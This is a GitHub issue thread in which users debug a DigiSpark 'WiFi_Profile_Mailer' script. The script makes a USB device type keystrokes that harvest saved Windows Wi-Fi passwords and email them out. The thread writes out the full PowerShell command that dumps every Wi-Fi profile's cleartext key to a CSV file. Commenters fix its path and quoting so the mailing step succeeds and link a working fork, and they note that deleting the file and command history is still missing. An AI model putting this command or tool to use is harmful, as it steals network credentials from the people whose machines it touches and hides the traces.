CedArctic/DigiSpark-Scripts

not workin

Opened this issue · 9 comments

not workin

Hi, I presume that by upload you meant download... I`ve looked into it and you are right there are few issues in WiFi_Profile_Mailer_New.ino. I will probably have a fix ready later this week.

I haven't tried the WiFi_Profile_Mailer.ino yet. What keyboard layout and language do you have?

Try to change:
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit"));
to
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv;exit"));
that should fix the issue(tested on Windows 10 with English(US) layout)

Lepsi bude psat anglicky - vetsina lidi cesky neumi. Myslim ze prave v tom problem je, jde o to ze $env:userprofile\\temp.csv ulozi temp.csv nekam jinam. A ten prikaz pro odeslani ho pak nedokaze najit takze nic neodesle.
translation:
Better to use English - most people dont speak Czech. I think that the problem is caused by $env:userprofile\\temp.csv. Because next command(one that sends the mail) looks into different directory

It didn't send email because there is one apostrophe missing.
in Attached is your report. - Regards Your Digispark' should be 'Attached is your report. - Regards Your Digispark'

Ok, so I created temporary fix, it still needs few improvements before I create PR, but you can download it from my fork https://github.com/Michyus/DigiSpark-Scripts/blob/michyus_wifiProfileMailerFix/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino
It works for me on Windows 10 English(US) - creates csv file and sends it, but it does not delete the file and command history.

just try if it works for you, if it does not then the problem is on your side(maybe caused by firewall or some settings in your gmail)

np, you are welcome ;)

OP deleted part of the thread. Closing issue due to inactivity